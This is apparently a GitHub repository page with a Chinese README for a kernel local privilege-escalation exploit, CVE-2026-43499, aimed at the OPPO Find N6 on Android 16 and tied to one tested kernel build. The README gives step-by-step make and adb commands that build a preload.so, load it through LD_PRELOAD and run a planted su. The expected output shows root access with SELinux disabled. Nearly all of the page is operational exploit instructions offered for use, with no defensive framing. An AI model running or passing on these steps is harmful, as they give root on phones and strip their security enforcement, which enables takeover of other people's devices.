Skip to content
 
 

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

10 Commits
 
 
 
 

Repository files navigation

CVE-2026-43499 for OPPO Find N6

该仓库包含 CVE-2026-43499 在 OPPO Find N6上的 Android 16 本地提权实现。已验证内核:

6.12.38-android16-5-g844001fb8721-ab14552068-4k 

使用该内核的OPPO Find N6,系统版本16.0.9.400已测试可用

编译

make -C source clean preload

NDK 无法自动发现时:

NDK_ROOT=/path/to/android-ndk make -C source clean preload

最终产物:

source/build/bin/preload.so

运行

adb push source/build/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 0644 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true'
adb shell '/data/local/tmp/su -c id'

成功时可见:

uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
direct-root-summary root=1 id=1 su=1/... selinux=1->0 uid=0 euid=0 gid=0 egid=0

利用完成后能够点亮、解锁并进入桌面,但新启动的 Android App 无法完成 Framework 初始化造成闪退;重启后 App 启动恢复正常。

About

CVE-2026-43499 Implementation for 6.12.38-android16-5-g844001fb8721-ab14552068-4k

Resources

Stars

9 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages